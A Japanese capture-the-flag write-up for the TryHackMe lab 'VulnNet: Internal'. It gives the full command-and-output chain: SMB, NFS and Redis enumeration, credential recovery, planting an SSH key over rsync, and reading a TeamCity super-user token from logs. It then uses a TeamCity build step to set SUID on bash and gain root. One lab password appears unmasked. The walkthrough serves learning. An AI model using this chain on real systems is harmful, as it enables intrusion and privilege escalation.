はじめに

本記事はTryHackMeのWriteupです。
RoomはVulnNet: Internal、Difficulty（難易度）はEasyです。

VulnNet: Internalは検出した内部サービスの脆弱性を分析して、フラグを取得します。

このRoomでは、偵察行為で取得した情報を基に、システムにアクセスする方法について学ぶことができます。

What is the services flag? (services.txt)

はじめに偵察行為として、ポートスキャンを行います。

ポートスキャン

空いているポートを特定するためにはNmapを使用します。
以下では事前に用意したシェルを介してポートスキャンを実行しています。

$ ./port_scan.sh <ip address>

##################
# Port scan tool #
##################
 *Detailed scan :1
 *Full scan     :2


 ***Select scanning method by number***
1
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-14 19:28 JST
Nmap scan report for 10.10.206.84
Host is up (0.25s latency).

PORT      STATE    SERVICE     VERSION
22/tcp    open     ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 5e:27:8f:48:ae:2f:f8:89:bb:89:13:e3:9a:fd:63:40 (RSA)
|   256 f4:fe:0b:e2:5c:88:b5:63:13:85:50:dd:d5:86:ab:bd (ECDSA)
|_  256 82:ea:48:85:f0:2a:23:7e:0e:a9:d9:14:0a:60:2f:ad (ED25519)
111/tcp   open     rpcbind     2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100005  1,2,3      44504/udp6  mountd
|   100005  1,2,3      49889/udp   mountd
|   100005  1,2,3      53241/tcp   mountd
|   100005  1,2,3      60705/tcp6  mountd
|   100021  1,3,4      32937/tcp   nlockmgr
|   100021  1,3,4      37739/tcp6  nlockmgr
|   100021  1,3,4      40769/udp6  nlockmgr
|   100021  1,3,4      59156/udp   nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
139/tcp   open     netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open     netbios-    Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
873/tcp   open     rsync       (protocol version 31)
2049/tcp  open     nfs_acl     3 (RPC #100227)
6379/tcp  open     redis       Redis key-value store
9090/tcp  filtered zeus-admin
32937/tcp open     nlockmgr    1-4 (RPC #100021)
43671/tcp open     mountd      1-3 (RPC #100005)
45829/tcp open     java-rmi    Java RMI
46625/tcp open     mountd      1-3 (RPC #100005)
53241/tcp open     mountd      1-3 (RPC #100005)
Service Info: Host: VULNNET-INTERNAL; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2023-08-14T10:28:47
|_  start_date: N/A
|_clock-skew: mean: -39m59s, deviation: 1h09m16s, median: 0s
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: VULNNET-INTERNA, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: vulnnet-internal
|   NetBIOS computer name: VULNNET-INTERNAL\x00
|   Domain name: \x00
|   FQDN: vulnnet-internal
|_  System time: 2023-08-14T12:28:47+02:00

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.94 seconds
Scan completed

nmapの結果から複数のポートが確認できます。
いくつか気になるポートがありますが、まずは139番とポートと、445番ポートで稼働しているSMBを列挙します。

パブリックな共有を確認するためには、以下のコマンドを実行します。

$ smbclient -L <ip address> -U%

	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	shares          Disk      VulnNet Business Shares
	IPC$            IPC       IPC Service (vulnnet-internal server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

	Server               Comment
	---------            -------

	Workgroup            Master
	---------            -------
	WORKGROUP

sharesディレクトリを検出したのでアクセスすると、tempとdataディレクトリが確認できます。

$ smbclient //<ip address>/shares -U%

Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Tue Feb  2 18:20:09 2021
  ..                                  D        0  Tue Feb  2 18:28:11 2021
  temp                                D        0  Sat Feb  6 20:45:10 2021
  data                                D        0  Tue Feb  2 18:27:33 2021

		11309648 blocks of size 1024. 3275800 blocks available

それぞれファイルが存在するため、ダウンロードを行います。
複数のファイルを取得する場合は、mgetコマンドを利用します。

tempディレクトリから取得したservices.txtファイルを参照すると、最初のフラグが取得できました。

$ cat services.txt

THM{********************************}

What is the internal flag? ("internal flag")

上記ポートスキャンの結果を踏まえて、2049番ポートが空いているため、NFSを利用していると思われます。

引き続き、NFSの列挙を行います。

rpc

showmountコマンドを実行することで、NFSを用いてエクスポートされたディレクトリを表示します。

$ showmount -e <ip address>

Export list for 10.10.206.84:
/opt/conf *

以下のコマンドを実行して、NFSをマウントします。

$sudo mount -t nfs <ip address>:/opt/conf /mnt/share/

NFSをマウント後、lsコマンドでマウントポイント配下を参照すると、redisディレクトリが確認できます。

åè¨ 28
drwxr-xr-x 2 root root 4096  2æ  2  2021 hp
drwxr-xr-x 2 root root 4096  2æ  2  2021 init
drwxr-xr-x 2 root root 4096  2æ  2  2021 opt
drwxr-xr-x 2 root root 4096  2æ  2  2021 profile.d
drwxr-xr-x 2 root root 4096  2æ  2  2021 redis
drwxr-xr-x 2 root root 4096  2æ  2  2021 vim
drwxr-xr-x 2 root root 4096  2æ  2  2021 wildmidi

redis/redis.confファイルを参照すると、requirepassに設定されているパスワードが確認できました。

requirepass "****************"

redis

redisに接続する手段は複数あります。

以下にmsfconsoleと、redis-cliを用いた接続方法を記載しています。

msfconsole

msfconsoleを起動して、searchコマンドで検索を行います。

msf6 > search redis

Matching Modules
================

   #   Name                                                       Disclosure Date  Rank       Check  Description
   -   ----                                                       ---------------  ----       -----  -----------
   0   exploit/multi/http/gitlab_github_import_rce_cve_2022_2992  2022-10-06       excellent  Yes    GitLab GitHub Repo Import Deserialization RCE
   1   auxiliary/gather/ibm_bigfix_sites_packages_enum            2019-03-18       normal     No     IBM BigFix Relay Server Sites and Package Enum
   2   exploit/windows/browser/ie_createobject                    2006-04-11       excellent  No     MS06-014 Microsoft Internet Explorer COM CreateObject Code Execution
   3   auxiliary/scanner/redis/redis_server                                        normal     No     Redis Command Execute Scanner
   4   auxiliary/gather/redis_extractor                                            normal     Yes    Redis Extractor
   5   auxiliary/scanner/redis/file_upload                        2015-11-11       normal     No     Redis File Upload
   6   auxiliary/scanner/redis/redis_login                                         normal     No     Redis Login Utility
   7   exploit/linux/redis/redis_debian_sandbox_escape            2022-02-18       excellent  Yes    Redis Lua Sandbox Escape
   8   exploit/linux/redis/redis_replication_cmd_exec             2018-11-13       good       Yes    Redis Replication Code Execution
   9   post/windows/gather/credentials/redis_desktop_manager                       normal     No     RedisDesktopManager credential gatherer
   10  post/windows/gather/credentials/solarwinds_orion_dump      2022-11-08       manual     No     SolarWinds Orion Secrets Dump
   11  exploit/linux/http/sophos_utm_webadmin_sid_cmd_injection   2020-09-18       excellent  Yes    Sophos UTM WebAdmin SID Command Injection
   12  exploit/windows/browser/webex_ucf_newobject                2008-08-06       good       No     WebEx UCF atucfobj.dll ActiveX NewObject Method Buffer Overflow
   13  exploit/windows/browser/ms07_017_ani_loadimage_chunksize   2007-03-28       great      No     Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP)
   14  exploit/windows/email/ms07_017_ani_loadimage_chunksize     2007-03-28       great      No     Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (SMTP)


Interact with a module by name or index. For example info 14, use 14 or use exploit/windows/email/ms07_017_ani_loadimage_chunksize

auxiliary/gather/redis_extractorモジュールを使用します。
このモジュールは、Redisインスタンスに接続し、保存されているキーとデータを取得します。

msf6 > use 4

show optionsを確認して、必要な設定を確認します。

msf6 auxiliary(gather/redis_extractor) > show options

Module options (auxiliary/gather/redis_extractor):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   LIMIT_COUNT                   no        Stop after retrieving this many entries, per database
   PASSWORD     foobared         no        Redis password for authentication test
   RHOSTS                        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT        6379             yes       The target port (TCP)
   THREADS      1                yes       The number of concurrent threads (max one per host)


View the full module info with the info, or info -d command.

以下の項目を設定します。

msf6 auxiliary(gather/redis_extractor) > set rhosts 10.10.206.84
rhosts => 10.10.206.84
msf6 auxiliary(gather/redis_extractor) > set password B65Hx562F@ggAZ@F
password => ****************

runを実行します。

msf6 auxiliary(gather/redis_extractor) >  run

[+] 10.10.206.84:6379     - Connected to Redis version 4.0.9
[*] 10.10.206.84:6379     - Extracting about 5 keys from database 0

Data from 10.10.206.84:6379     database 0
==========================================

 Key            Value
 ---            -----
 authlist       ["QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg==", "QXV0aG9yaXphdGlvbiBmb3
                IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg==", "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb2
                5uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg==", "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aX
                RoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="]
 int            10 20 30 40 50
 internal flag  THM{********************************}
 marketlist     ["Machine Learning", "Penetration Testing", "Programming", "Data Analysis", "Analytics", "Marketing", "Media Streaming"]
 tmp            temp dir...

[+] 10.10.206.84:6379     - Redis data stored at /home/kali/.msf4/loot/20230814200026_default_10.10.206.84_redis.dump_db0_609477.txt
[*] 10.10.206.84:6379     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

結果を確認すると、internal flagキーからフラグが確認できます。
また、authlistキーからクレデンシャルな情報が確認できます。

redis-cli

redis-cliコマンドを利用する場合は、認証を行います。

$ redis-cli -h <ip address>

10.10.206.84:6379> auth ****************
OK

全てのキーを取得する場合は、keys *を入力します。

10.10.206.84:6379> keys *
1) "int"
2) "marketlist"
3) "internal flag"
4) "authlist"
5) "tmp"

getの引数にはキーを指定するため、"internal flag"を指定して実行します。

10.10.68.208:6379> get "internal flag"

フラグが取得できました。

"THM{********************************}"

authlistのキーはデータ型がリストになるため、以下のコマンドを実行することで、指定された範囲の要素が取得できます。
単一の値を取得したい場合は、lindex [key] [index]で取得します。

10.10.206.84:6379> lrange authlist 0 -1
1) "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="
2) "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="
3) "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="
4) "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="

上記authlistのキーから取得した認証情報はbase64でエンコードされています。
デコードすると、rysncの情報が確認できること及び873番ポートが空いてるため、rysncの利用が推定できます。

$ echo "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg==" | base64 -d

Authorization for rsync://rsync-connect@127.0.0.1 with password *****************

What is the user flag? (user.txt)

ターゲットの内容を一覧表示するためには、以下のコマンドを実行します。

rsync <ip address>::

files          	Necessary home interaction

以下のコマンドを実行して、リモートのfilesディレクトリから全てのファイルをローカルのカレントディレクトリに転送します。

$ rsync -av rsync://rsync-connect@<ip address>/files ./

lsコマンドでsys-internal/ディレクトリ以下を確認します。

åè¨ 36
drwx------ 2 kali kali 4096  2æ  1  2021 Desktop
drwxr-xr-x 2 kali kali 4096  2æ  1  2021 Documents
drwxr-xr-x 2 kali kali 4096  2æ  1  2021 Downloads
drwxr-xr-x 2 kali kali 4096  2æ  1  2021 Music
drwxr-xr-x 2 kali kali 4096  2æ  1  2021 Pictures
drwxr-xr-x 2 kali kali 4096  2æ  1  2021 Public
drwxr-xr-x 2 kali kali 4096  2æ  1  2021 Templates
drwxr-xr-x 2 kali kali 4096  2æ  1  2021 Videos
-rw------- 1 kali kali   38  2æ  6  2021 user.txt

user.txtを発見しました。フラグを確認します。

$ cat user.txtt

THM{********************************}

What is the root flag? (root.txt)

rysncが利用できるため、リモートのsys-internal配下のディレクトリに対して、ファイルのアップロードができるか確認します。

SSH

事前にssh-keygenを用いて/tmpディレクトリ配下にSSHキーを作成しておきます。

以下のコマンドを実行して、SSHキー（公開鍵）を転送します。

$ rsync -av /tmp/id_rsa.pub rsync://rsync-connect@<ip address>/files/sys-internal/.ssh/authorized_keys

Password: 
sending incremental file list
id_rsa.pub

sent 670 bytes  received 35 bytes  128.18 bytes/sec
total size is 563  speedup is 0.80

作成したSSHキー（秘密鍵）を利用してログインします。

$ ssh -i id_rsa sys-internal@<ip address>

The authenticity of host '10.10.206.84 (10.10.206.84)' can't be established.
ED25519 key fingerprint is SHA256:Hft/gU7OujMpBswfda4Gl0bN4EdP78+T0Iszs/Eq52c.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.206.84' (ED25519) to the list of known hosts.
Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-135-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

541 packages can be updated.
342 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Mon Aug 14 13:59:23 2023 from <ip address>

TeamCity

ログイン後、更なる調査を行います。

トークン取得

既にsys-internal配下のディレクトリは調査済みなため、/ディレクトリ以下を調査します。

total 533824
drwxr-xr-x  24 root root      4096 Feb  6  2021 ./
drwxr-xr-x  24 root root      4096 Feb  6  2021 ../
drwxr-xr-x   2 root root      4096 Feb  2  2021 bin/
drwxr-xr-x   3 root root      4096 Feb  1  2021 boot/
drwx------   2 root root      4096 Feb  1  2021 .cache/
drwxr-xr-x  17 root root      3720 Aug 12 13:56 dev/
drwxr-xr-x 129 root root     12288 Feb  7  2021 etc/
drwxr-xr-x   3 root root      4096 Feb  1  2021 home/
lrwxrwxrwx   1 root root        34 Feb  1  2021 initrd.img -> boot/initrd.img-4.15.0-135-generic
lrwxrwxrwx   1 root root        33 Feb  1  2021 initrd.img.old -> boot/initrd.img-4.15.0-20-generic
drwxr-xr-x  18 root root      4096 Feb  1  2021 lib/
drwxr-xr-x   2 root root      4096 Feb  1  2021 lib64/
drwx------   2 root root     16384 Feb  1  2021 lost+found/
drwxr-xr-x   4 root root      4096 Feb  2  2021 media/
drwxr-xr-x   2 root root      4096 Feb  1  2021 mnt/
drwxr-xr-x   4 root root      4096 Feb  2  2021 opt/
dr-xr-xr-x 134 root root         0 Aug 12 13:56 proc/
drwx------   8 root root      4096 Feb  6  2021 root/
drwxr-xr-x  27 root root       880 Aug 12 15:46 run/
drwxr-xr-x   2 root root      4096 Feb  2  2021 sbin/
drwxr-xr-x   2 root root      4096 Feb  1  2021 srv/
-rw-------   1 root root 546529280 Feb  1  2021 swapfile
dr-xr-xr-x  13 root root         0 Aug 12 13:56 sys/
drwxr-xr-x  12 root root      4096 Feb  6  2021 TeamCity/
drwxrwxrwt  11 root root      4096 Aug 12 15:47 tmp/
drwxr-xr-x  10 root root      4096 Feb  1  2021 usr/
drwxr-xr-x  13 root root      4096 Feb  1  2021 var/
lrwxrwxrwx   1 root root        31 Feb  1  2021 vmlinuz -> boot/vmlinuz-4.15.0-135-generic
lrwxrwxrwx   1 root root        30 Feb  1  2021 vmlinuz.old -> boot/vmlinuz-4.15.0-20-generic

TeamCityというディレクトリを発見したので、移動して中身を確認します。
lsを実行すると、出力された情報からtomcatのサービスが起動していると思われます。

total 76
drwxr-xr-x 12 root root  4096 Feb  6  2021 ./
drwxr-xr-x 24 root root  4096 Feb  6  2021 ../
drwxr-xr-x  2 root root  4096 Feb  6  2021 bin/
-rw-r--r--  1 root root     0 Feb  6  2021 BUILD_85899
drwxr-xr-x 13 root root  4096 Aug 12 13:56 buildAgent/
drwxr-xr-x  3 root root  4096 Aug 12 13:59 conf/
drwxr-xr-x  5 root root  4096 Feb  6  2021 devPackage/
drwxr-xr-x  2 root root  4096 Feb  6  2021 lib/
drwxr-xr-x  2 root root  4096 Feb  6  2021 licenses/
drwxr-xr-x  2 root root  4096 Aug 12 13:59 logs/
-rw-r--r--  1 root root   355 Feb  6  2021 service.properties
-rw-r--r--  1 root root   994 Feb  6  2021 TeamCity-readme.txt
drwxr-xr-x  6 root root  4096 Aug 12 14:05 temp/
-rw-r--r--  1 root root 16984 Feb  6  2021 Tomcat-running.txt
drwxr-xr-x  3 root root  4096 Feb  6  2021 webapps/
drwxr-x---  3 root root  4096 Feb  6  2021 work/

tomcatのプロセスを確認します。

$ ps aux | grep 'USER\|tomcat' | grep -v grep

USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root       943  9.1 36.8 3427752 751628 ?      Sl   12:14   9:56 /usr/lib/jvm/default-java/bin/java -Djava.util.logging.config.file=/TeamCity/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -server -Xmx1024m -Dteamcity.configuration.path=../conf/teamcity-startup.properties -Dlog4j.configuration=file:/TeamCity/bin/../conf/teamcity-server-log4j.xml -Dteamcity_logs=/TeamCity/bin/../logs -Djava.awt.headless=true -Dignore.endorsed.dirs= -classpath /TeamCity/bin/bootstrap.jar:/TeamCity/bin/tomcat-juli.jar -Dcatalina.base=/TeamCity -Dcatalina.home=/TeamCity -Djava.io.tmpdir=/TeamCity/temp org.apache.catalina.startup.Bootstrap start

tomcatで使用しているポートを特定するため、ssコマンドで調査を行なっていると、ローカルで動いているサービスが確認できました。以下はss -aln -t6の実行結果です。

State              Recv-Q              Send-Q                                  Local Address:Port                              Peer Address:Port              
LISTEN             0                   50                                 [::ffff:127.0.0.1]:59950                                        *:*                 
LISTEN             0                   100                                [::ffff:127.0.0.1]:8111                                         *:*                 
LISTEN             0                   128                                              [::]:111                                       [::]:*                 
LISTEN             0                   128                                              [::]:22                                        [::]:*                 
LISTEN             0                   128                                              [::]:60695                                     [::]:*                 
LISTEN             0                   5                                               [::1]:631                                       [::]:*                 
LISTEN             0                   50                                               [::]:445                                       [::]:*                 
LISTEN             0                   64                                               [::]:2049                                      [::]:*                 
LISTEN             0                   128                                              [::]:60705                                     [::]:*                 
LISTEN             0                   128                                              [::]:36481                                     [::]:*                 
LISTEN             0                   50                                                  *:9090                                         *:*                 
LISTEN             0                   50                                                  *:45829                                        *:*                 
LISTEN             0                   1                                  [::ffff:127.0.0.1]:8105                                         *:*                 
LISTEN             0                   5                                                [::]:873                                       [::]:*                 
LISTEN             0                   128                                             [::1]:6379                                      [::]:*                 
LISTEN             0                   64                                               [::]:37739                                     [::]:*                 
LISTEN             0                   50                                               [::]:139                                       [::]:*

どうやらTeamCityとはDevOpsのツールのようです。
調査した結果、デフォルトではtomcatのコネクタポートとして8111番を使用しています。

そのままではアクセスできないため、ポートフォワードを用いてアクセスします。

$ ssh -i id_rsa sys-internal@<ip address> -L 8111:127.0.0.1:8111

ブラウザからアクセスすると、認証画面が表示されました。
引き続き、ログインするためのクレデンシャルな情報を調査します。

logsディレクトリのcatalina.outファイルを参照して、tokenで検索すると、以下のログが確認できます。

[TeamCity] Super user authentication token: 8446629153054945175 (use empty username with the token as the password to access the server)
[TeamCity] Super user authentication token: 8446629153054945175 (use empty username with the token as the password to access the server)
[TeamCity] Super user authentication token: 3782562599667957776 (use empty username with the token as the password to access the server)
[TeamCity] Super user authentication token: 5812627377764625872 (use empty username with the token as the password to access the server)
[TeamCity] Super user authentication token: 8299552751409869695 (use empty username with the token as the password to access the server)

ログファイルに出力されたトークンを利用してログインできました。

権限昇格

TeamCityの認証後、以下のような画面が表示されます。

はじめに新しいプロジェクトを作成するため、「Create project」ボタンを押します。

「Manually」を選択して「Name」と「Project ID」を入力後、「Create」ボタンを押します。

　ビルド設定を行うために、「Create Build Configuration」ボタンを押します。

「Name」と「Build configuration ID」を入力後、「Create」ボタンを押します。

「Build Steps」を選択して「Add build step」ボタンを押します。

「Runner type」は「Command Line」を選択して、「Custom script」に実行したいコマンドを入力して保存します。
本記事の例では、バイナリに対するSUIDを利用して権限昇格を狙います。

画面右上の「Run」ボタンを押してビルドを実行します。

ビルド実行後、/bin/bashを確認すると、SUIDの付与が確認できました。

-rwsr-xr-x 1 root root 1113504 Apr  4  2018 /bin/bash*

bashを特権モードで起動します。

$ bash -p
# id

uid=1000(sys-internal) gid=1000(sys-internal) euid=0(root) groups=1000(sys-internal),24(cdrom)

ルートフラグを確認します。

# cat /root/root.txt

THM{********************************}

おわりに

このルームを攻略するヒントはタイトルにありました。

シンプルのように見えて、色々考えさせられる問題が多かったため、面白かったです。